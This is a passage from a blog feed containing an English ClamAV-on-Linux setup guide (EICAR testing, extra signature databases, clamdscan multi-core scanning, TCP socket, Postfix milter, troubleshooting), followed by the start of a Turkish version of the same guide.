&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If &lt;code&gt;AppArmor&lt;/code&gt; (common on Ubuntu/Debian) gives errors about &lt;code&gt;clamd&lt;/code&gt;, put the profile in complain mode: &lt;code&gt;sudo aa-complain clamd&lt;/code&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="step-8-test-drive-eicar"&gt;Step 8: Test Drive (EICAR)&lt;a class="headerlink" href="#step-8-test-drive-eicar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Is our system working? Let's check with a harmless test file called &lt;code&gt;EICAR&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test 1: Manual Scan (with Daemon)&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;https://secure.eicar.org/eicar.com.txt&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;clamdscan&lt;span class="w"&gt; &lt;/span&gt;-
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You should see &lt;code&gt;stdin: Win.Test.EICAR_HDB-1 FOUND&lt;/code&gt; in the output. Note that we are using &lt;code&gt;clamdscan&lt;/code&gt;, not &lt;code&gt;clamscan&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test 2: Real-time Protection&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Try downloading the EICAR file to a monitored directory (e.g., Downloads):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;~/Downloads/
wget&lt;span class="w"&gt; &lt;/span&gt;https://secure.eicar.org/eicar.com.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;As soon as the file downloads (or when you try to read it with &lt;code&gt;cat eicar.com.txt&lt;/code&gt;), the desktop notification you set up in Step 6 should pop up.&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="step-9-more-eyes-additional-databases"&gt;Step 9: More Eyes (Additional Databases)&lt;a class="headerlink" href="#step-9-more-eyes-additional-databases" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;ClamAV's official signatures are good, but we can enhance its power with additional community-maintained databases (MalwarePatrol, SecuriteInfo, Yara, LMD signatures, etc.).&lt;/p&gt;
&lt;p&gt;For this, you can install one of two tools from AUR:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;python-fangfrisch&lt;/code&gt; (AUR)&lt;/strong&gt;: Designed as a more secure, flexible, and modern replacement for &lt;code&gt;clamav-unofficial-sigs&lt;/code&gt;. &lt;strong&gt;This is recommended.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;clamav-unofficial-sigs&lt;/code&gt; (AUR)&lt;/strong&gt;: The older and more common tool.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="option-1-fangfrisch-installation-recommended"&gt;Option 1: Fangfrisch Installation (Recommended)&lt;a class="headerlink" href="#option-1-fangfrisch-installation-recommended" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Install with &lt;code&gt;yay -S python-fangfrisch&lt;/code&gt; (or your AUR helper).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Its configuration is very simple (/etc/fangfrisch/fangfrisch.conf)&lt;/span&gt;
&lt;span class="c1"&gt;# Its biggest advantage is that it never requires root permissions.&lt;/span&gt;

&lt;span class="c1"&gt;# Initialize the database structure as 'clamav' user&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;clamav&lt;span class="w"&gt; &lt;/span&gt;/usr/bin/fangfrisch&lt;span class="w"&gt; &lt;/span&gt;--conf&lt;span class="w"&gt; &lt;/span&gt;/etc/fangfrisch/fangfrisch.conf&lt;span class="w"&gt; &lt;/span&gt;initdb

&lt;span class="c1"&gt;# Enable the timer&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;fangfrisch.timer
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id="option-2-clamav-unofficial-sigs-installation-alternative"&gt;Option 2: clamav-unofficial-sigs Installation (Alternative)&lt;a class="headerlink" href="#option-2-clamav-unofficial-sigs-installation-alternative" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Install with &lt;code&gt;yay -S clamav-unofficial-sigs&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Enable the timer&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;clamav-unofficial-sigs.timer

&lt;span class="c1"&gt;# To run manually&lt;/span&gt;
&lt;span class="c1"&gt;# sudo clamav-unofficial-sigs.sh&lt;/span&gt;

&lt;span class="c1"&gt;# Configuration file: /etc/clamav-unofficial-sigs/user.conf&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Adding MalwarePatrol Database (Optional):&lt;/strong&gt;
If you want to use MalwarePatrol (they have free/paid plans), register at &lt;a href="https://malwareblocklist.org/" rel="noopener noreferrer" target="_blank"&gt;Malware Block List&lt;/a&gt;. Then (if you are using &lt;code&gt;clamav-unofficial-sigs&lt;/code&gt;), edit the &lt;code&gt;/etc/clamav/clamav-unofficial-sigs/user.conf&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;malwarepatrol_receipt_code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"YOUR_INVOICE_NUMBER_HERE"&lt;/span&gt;
&lt;span class="na"&gt;malwarepatrol_product_code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"8"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# 8 for free account, 15 for Premium&lt;/span&gt;
&lt;span class="na"&gt;malwarepatrol_list&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"clamav_basic"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# basic or ext&lt;/span&gt;
&lt;span class="na"&gt;malwarepatrol_free&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"yes"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# yes for free, no for Premium&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="step-10-manual-scan-options"&gt;Step 10: Manual Scan Options&lt;a class="headerlink" href="#step-10-manual-scan-options" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;You might want to perform manual scans even when the daemon is running.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;clamscan&lt;/code&gt; (Standard/Old Method):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This &lt;strong&gt;does not&lt;/strong&gt; use the daemon. It reloads the entire database into RAM every time.&lt;/li&gt;
&lt;li&gt;It's slow. Only use it if &lt;code&gt;clamd&lt;/code&gt; is not running.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;clamscan --recursive --infected /home/user&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--remove&lt;/code&gt;: Deletes the found file (Dangerous).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--move=/safe/directory&lt;/code&gt;: Moves to quarantine (Safer).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--max-filesize=4000M --max-scansize=4000M&lt;/code&gt;: Scans files larger than default.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-l /path/to/logfile.log&lt;/code&gt;: Writes results to a file.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;clamdscan&lt;/code&gt; (Daemon/Fast Method):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This passes the job to &lt;code&gt;clamd&lt;/code&gt; running in the background. &lt;strong&gt;It's super fast.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;It reads most settings (&lt;code&gt;--max-filesize&lt;/code&gt;, etc.) from &lt;code&gt;clamd.conf&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;clamdscan /home/user&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr/&gt;
&lt;h3 id="step-11-tips-and-tricks-pro-level"&gt;Step 11: Tips and Tricks (Pro Level)&lt;a class="headerlink" href="#step-11-tips-and-tricks-pro-level" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;h4 id="multi-core-usage"&gt;Multi-Core Usage&lt;a class="headerlink" href="#multi-core-usage" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;With &lt;code&gt;clamscan&lt;/code&gt; (BAD METHOD):&lt;/strong&gt;
&lt;code&gt;clamscan&lt;/code&gt; runs on a single core. You can parallelize it with &lt;code&gt;xargs&lt;/code&gt;:
    &lt;code&gt;find /home/user -type f -print0 | xargs -0 -P $(nproc) clamscan&lt;/code&gt;
&lt;strong&gt;DO NOT DO THIS:&lt;/strong&gt; This starts as many &lt;code&gt;clamscan&lt;/code&gt; processes as CPU cores, and each loads the database into RAM. If you have 16 cores, it would require 1.6GB * 16 = ~25GB RAM. It will crash your system.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;With &lt;code&gt;clamdscan&lt;/code&gt; (CORRECT METHOD):&lt;/strong&gt;
&lt;code&gt;clamd&lt;/code&gt; is already designed for multi-core.
    &lt;code&gt;clamdscan --multiscan --fdpass /home/user&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--multiscan&lt;/code&gt;: Scans the directory in parallel using as many threads as &lt;code&gt;MaxThreads&lt;/code&gt; (default 10) in &lt;code&gt;clamd.conf&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--fdpass&lt;/code&gt;: Passes permissions (file descriptor) so &lt;code&gt;clamd&lt;/code&gt; (clamav user) can read your files (user).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="properly-enabling-tcpsocket"&gt;Properly Enabling TCPSocket&lt;a class="headerlink" href="#properly-enabling-tcpsocket" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Remember the warning in Step 1? If you enable TCPSocket (e.g., &lt;code&gt;127.0.0.1:3310&lt;/code&gt;) in &lt;code&gt;clamd.conf&lt;/code&gt;, you also need to edit the &lt;code&gt;systemd&lt;/code&gt; socket file, otherwise they will conflict:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo systemctl edit clamav-daemon.socket&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Add this to the opened file (to listen on both local and TCP sockets):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[Socket]&lt;/span&gt;
&lt;span class="na"&gt;ListenStream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="na"&gt;ListenStream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/run/clamav/clamd.ctl&lt;/span&gt;
&lt;span class="na"&gt;ListenStream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;127.0.0.1:3310&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then run &lt;code&gt;sudo systemctl restart clamav-daemon.socket&lt;/code&gt;. You can see the port being listened to with &lt;code&gt;ss -tulpn | grep clamd&lt;/code&gt;.&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="step-12-email-protection-milter"&gt;Step 12: Email Protection (Milter)&lt;a class="headerlink" href="#step-12-email-protection-milter" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;If you are running an email server like &lt;code&gt;Sendmail&lt;/code&gt; or &lt;code&gt;Postfix&lt;/code&gt; on your system, you can connect ClamAV as a "milter" (mail filter) to scan incoming emails.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. &lt;code&gt;clamav-milter.conf&lt;/code&gt; Settings&lt;/strong&gt;
Edit the &lt;code&gt;/etc/clamav/clamav-milter.conf&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;MilterSocket /tmp/clamav-milter.socket&lt;/span&gt;
&lt;span class="na"&gt;MilterSocketMode 660&lt;/span&gt;
&lt;span class="na"&gt;FixStaleSocket yes&lt;/span&gt;
&lt;span class="na"&gt;User clamav&lt;/span&gt;
&lt;span class="na"&gt;MilterSocketGroup clamav&lt;/span&gt;
&lt;span class="na"&gt;PidFile /run/clamav/clamav-milter.pid&lt;/span&gt;
&lt;span class="na"&gt;TemporaryDirectory /tmp&lt;/span&gt;
&lt;span class="na"&gt;ClamdSocket unix&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s"&gt;/run/clamav/clamd.ctl&lt;/span&gt;
&lt;span class="na"&gt;LogSyslog yes&lt;/span&gt;
&lt;span class="na"&gt;LogInfected Basic&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;2. Creating systemd Service&lt;/strong&gt;
&lt;code&gt;sudo nano /etc/systemd/system/clamav-milter.service&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[Unit]&lt;/span&gt;
&lt;span class="na"&gt;Description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;'ClamAV Milter'&lt;/span&gt;
&lt;span class="na"&gt;After&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;clamav-daemon.service&lt;/span&gt;

&lt;span class="k"&gt;[Service]&lt;/span&gt;
&lt;span class="na"&gt;Type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;forking&lt;/span&gt;
&lt;span class="na"&gt;ExecStart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/usr/bin/clamav-milter --config-file /etc/clamav/clamav-milter.conf&lt;/span&gt;
&lt;span class="na"&gt;Restart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;Always&lt;/span&gt;

&lt;span class="k"&gt;[Install]&lt;/span&gt;
&lt;span class="na"&gt;WantedBy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;multi-user.target&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;3. Postfix Setting (Example)&lt;/strong&gt;
If you are using Postfix, add this to &lt;code&gt;/etc/postfix/main.cf&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;smtpd_milters&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;unix:/tmp/clamav-milter.socket&lt;/span&gt;
&lt;span class="na"&gt;milter_default_action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;tempfail&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;4. Starting&lt;/strong&gt;
&lt;code&gt;sudo systemctl enable --now clamav-milter.service&lt;/code&gt;
Check logs with &lt;code&gt;journalctl&lt;/code&gt;. If Postfix does not have access to the socket, add the &lt;code&gt;postfix&lt;/code&gt; user to the &lt;code&gt;clamav&lt;/code&gt; group: &lt;code&gt;sudo gpasswd -a postfix clamav&lt;/code&gt;.&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="step-13-troubleshooting-headaches"&gt;Step 13: Troubleshooting (Headaches)&lt;a class="headerlink" href="#step-13-troubleshooting-headaches" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Error: &lt;code&gt;Clamd was NOT notified&lt;/code&gt; (after freshclam)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt; &lt;code&gt;freshclam&lt;/code&gt; cannot notify &lt;code&gt;clamd&lt;/code&gt; because the socket file (&lt;code&gt;clamd.ctl&lt;/code&gt;) is missing or in the wrong place.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt; Open &lt;code&gt;clamd.conf&lt;/code&gt; and uncomment and activate the line &lt;code&gt;LocalSocket /run/clamav/clamd.ctl&lt;/code&gt;. Restart &lt;code&gt;clamav-daemon.service&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Error: &lt;code&gt;No supported database files found&lt;/code&gt; (when clamd starts)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt; The &lt;code&gt;DatabaseDirectory&lt;/code&gt; settings in &lt;code&gt;freshclam.conf&lt;/code&gt; and &lt;code&gt;clamd.conf&lt;/code&gt; do not match. One might say &lt;code&gt;/var/lib/clamav&lt;/code&gt; while the other says &lt;code&gt;/usr/share/clamav&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt; Check both files and ensure that the &lt;code&gt;DatabaseDirectory&lt;/code&gt; paths are &lt;strong&gt;the same&lt;/strong&gt; (usually &lt;code&gt;/var/lib/clamav&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Error: &lt;code&gt;Can't create temporary directory&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt; Permission error. Logs usually show a UID/GID number.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Solution:&lt;/strong&gt; Correct the ownership of the &lt;code&gt;/var/lib/clamav&lt;/code&gt; directory.
    &lt;code&gt;sudo chown -R clamav:clamav /var/lib/clamav&lt;/code&gt;
&lt;code&gt;sudo chmod 755 /var/lib/clamav&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h3 id="conclusion-now-youre-truly-paranoid"&gt;Conclusion: Now You're Truly Paranoid&lt;a class="headerlink" href="#conclusion-now-youre-truly-paranoid" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This guide contains every detail from the source. You are no longer just someone running &lt;code&gt;clamscan&lt;/code&gt;. You have a ClamAV beast running in the background, ready in RAM, scanning with multiple cores, catching new files instantly, sending you desktop notifications, filtering your emails, and empowered with extra databases.&lt;/p&gt;
&lt;p&gt;Still, remember: The best antivirus is you, reading the comments on that torrent.&lt;/p&gt;</content><category term="Linux"/><category term="clamav"/><category term="güvenlik"/><category term="linux"/><category term="on-access"/><category term="clamd"/><category term="freshclam"/><category term="milter"/><category term="sorun giderme"/><category term="tech-sohbetçi"/></entry><entry><title>Linux'ta Tam Kapsamlı Paranoya: ClamAV ile A'dan Z'ye Güvenlik</title><link href="https://yuceltoluyag.github.io/linux-guvenlik-clamav-tam-kapsamli-rehber/" rel="alternate"/><published>2025-11-14T02:30:00+03:00</published><updated>2025-11-14T02:30:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-14:/linux-guvenlik-clamav-tam-kapsamli-rehber/</id><summary type="html">&lt;p&gt;Önceki rehberi unutun. Bu sefer SADECE daemon kurmuyoruz; bildirim almaktan VirusEvent, e-posta taramaya milter, çoklu çekirdek hilelerine ve tüm olası hata ayıklamalarına kadar ClamAV'nin tüm potansiyelini masaya yatırıyoruz.&lt;/p&gt;</summary><content type="html">&lt;h2 id="giris-neden-hala-bunlarla-ugrasyoruz"&gt;Giri&amp;scedil;: Neden H&amp;acirc;l&amp;acirc; Bunlarla U&amp;gbreve;ra&amp;scedil;&amp;inodot;yoruz?&lt;a class="headerlink" href="#giris-neden-hala-bunlarla-ugrasyoruz" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;"Linux'a vir&amp;uuml;s bula&amp;scedil;maz" efsanesini bir kenara b&amp;inodot;rakal&amp;inodot;m. Bu rahatl&amp;inodot;k, en b&amp;uuml;y&amp;uuml;k g&amp;uuml;venlik a&amp;ccedil;&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;z haline geldi. Windows'a k&amp;inodot;yasla pazar pay&amp;inodot;m&amp;inodot;z d&amp;uuml;&amp;scedil;&amp;uuml;k olabilir, bu y&amp;uuml;zden b&amp;uuml;y&amp;uuml;k &amp;scedil;irketler bize &amp;ouml;zel "Endpoint Security" paketleri &amp;ccedil;&amp;inodot;karmakla u&amp;gbreve;ra&amp;scedil;m&amp;inodot;yor. Var olan ara&amp;ccedil;lar da genelde Windows'taki kuzenlerinin geli&amp;scedil;mi&amp;scedil; &amp;ouml;zelliklerinden yoksun.&lt;/p&gt;
&lt;p&gt;Ama d&amp;uuml;nya de&amp;gbreve;i&amp;scedil;ti. Linux sunucular&amp;inodot;, IoT cihazlar&amp;inodot;... Sald&amp;inodot;r&amp;inodot; y&amp;uuml;zeyi her g&amp;uuml;n b&amp;uuml;y&amp;uuml;yor ve Linux tabanl&amp;inodot; zararl&amp;inodot; yaz&amp;inodot;l&amp;inodot;mlar&amp;inodot;n say&amp;inodot;s&amp;inodot; da art&amp;inodot;yor.&lt;/p&gt;
&lt;p&gt;Bu ortamda, elimizdeki en sa&amp;gbreve;lam, a&amp;ccedil;&amp;inodot;k kaynakl&amp;inodot; ve aktif olarak geli&amp;scedil;tirilen kalelerden biri &lt;strong&gt;Clam AntiVirus (ClamAV)&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;ClamAV, UNIX sistemler i&amp;ccedil;in bir antivir&amp;uuml;s ara&amp;ccedil; tak&amp;inodot;m&amp;inodot;d&amp;inodot;r. Genellikle dosya/posta sunucular&amp;inodot;nda kullan&amp;inodot;ld&amp;inodot;&amp;gbreve;&amp;inodot; i&amp;ccedil;in, yerle&amp;scedil;ik imzalar&amp;inodot;yla zararl&amp;inodot; yaz&amp;inodot;l&amp;inodot;mlar&amp;inodot; tespit etmeye odaklan&amp;inodot;r; yani geleneksel bir "endpoint security" paketi de&amp;gbreve;ildir. Biz de onu bir sunucu gibi yap&amp;inodot;land&amp;inodot;raca&amp;gbreve;&amp;inodot;z.&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="adm-1-kurulum-ve-arac-kutusu"&gt;Ad&amp;inodot;m 1: Kurulum ve Ara&amp;ccedil; Kutusu&lt;a class="headerlink" href="#adm-1-kurulum-ve-arac-kutusu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Her zamanki gibi, Arch (veya t&amp;uuml;revleri) &amp;uuml;zerinden gidiyoruz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;clamav
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu komut sadece &lt;code&gt;clamav&lt;/code&gt; kurmaz, bize bir &amp;Idot;svi&amp;ccedil;re &amp;ccedil;ak&amp;inodot;s&amp;inodot; verir:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;clamd&lt;/code&gt;&lt;/strong&gt;: Bizim as&amp;inodot;l hedefimiz. Arka plan hizmeti (daemon).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;clamonacc&lt;/code&gt;&lt;/strong&gt;: Ger&amp;ccedil;ek zamanl&amp;inodot; koruma (On-Access) hizmeti. &lt;code&gt;clamd&lt;/code&gt; ile konu&amp;scedil;ur.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;clamdscan&lt;/code&gt;&lt;/strong&gt;: &lt;code&gt;clamd&lt;/code&gt; daemon'u &amp;uuml;zerinden tarama yapan h&amp;inodot;zl&amp;inodot; istemci.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;clamdtop&lt;/code&gt;&lt;/strong&gt;: &lt;code&gt;clamd&lt;/code&gt;'nin kaynak kullan&amp;inodot;m&amp;inodot;n&amp;inodot; izlemek i&amp;ccedil;in bir aray&amp;uuml;z (&lt;code&gt;top&lt;/code&gt; komutu gibi).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;freshclam&lt;/code&gt;&lt;/strong&gt;: Vir&amp;uuml;s imza veritaban&amp;inodot; g&amp;uuml;ncelleme arac&amp;inodot;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;clamconf&lt;/code&gt;&lt;/strong&gt;: Yap&amp;inodot;land&amp;inodot;rma dosyalar&amp;inodot;n&amp;inodot; olu&amp;scedil;turma ve kontrol etme arac&amp;inodot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;T&amp;uuml;m bu ara&amp;ccedil;lar, &lt;code&gt;clamd&lt;/code&gt; ile bir &lt;strong&gt;soket (socket)&lt;/strong&gt; &amp;uuml;zerinden ileti&amp;scedil;im kurar. Varsay&amp;inodot;lan olarak bu, "LocalSocket" (yerel bir unix soketi) &amp;uuml;zerinden yap&amp;inodot;l&amp;inodot;r.&lt;/p&gt;
&lt;h4 id="tcp-soketi-uyars-profesyoneller-icin"&gt;⚠️ TCP Soketi Uyar&amp;inodot;s&amp;inodot; (Profesyoneller &amp;Idot;&amp;ccedil;in)&lt;a class="headerlink" href="#tcp-soketi-uyars-profesyoneller-icin" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;ClamAV, "TCPSocket" ad&amp;inodot;yla bir a&amp;gbreve; soketi a&amp;ccedil;arak uzaktan ileti&amp;scedil;ime de izin verir.&lt;/p&gt;
&lt;div class="admonition danger"&gt;
&lt;p class="admonition-title"&gt;Kesinlikle Okuyun: G&amp;uuml;venlik Uyar&amp;inodot;s&amp;inodot; E&amp;gbreve;er &lt;code&gt;clamd.conf&lt;/code&gt; dosyan&amp;inodot;zda &lt;code&gt;TCPSocket&lt;/code&gt; kullanmay&amp;inodot; se&amp;ccedil;erseniz, bu portun &lt;strong&gt;herhangi bir kimlik do&amp;gbreve;rulamas&amp;inodot; veya korumas&amp;inodot; olmad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;&lt;/strong&gt; bilin. Genellikle yerel unix soketini (&lt;code&gt;LocalSocket&lt;/code&gt;) kullan&amp;inodot;n. E&amp;gbreve;er a&amp;gbreve;a a&amp;ccedil;mak zorundaysan&amp;inodot;z, g&amp;uuml;venlik duvar&amp;inodot; kurallar&amp;inodot;yla bu portu &lt;em&gt;&amp;ccedil;ok&lt;/em&gt; s&amp;inodot;k&amp;inodot; korumal&amp;inodot;s&amp;inodot;n&amp;inodot;z.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Daha fazla bilgi i&amp;ccedil;in &amp;scedil;u kaynaklara bakabilirsiniz:&lt;/p&gt;
&lt;ul&gt;
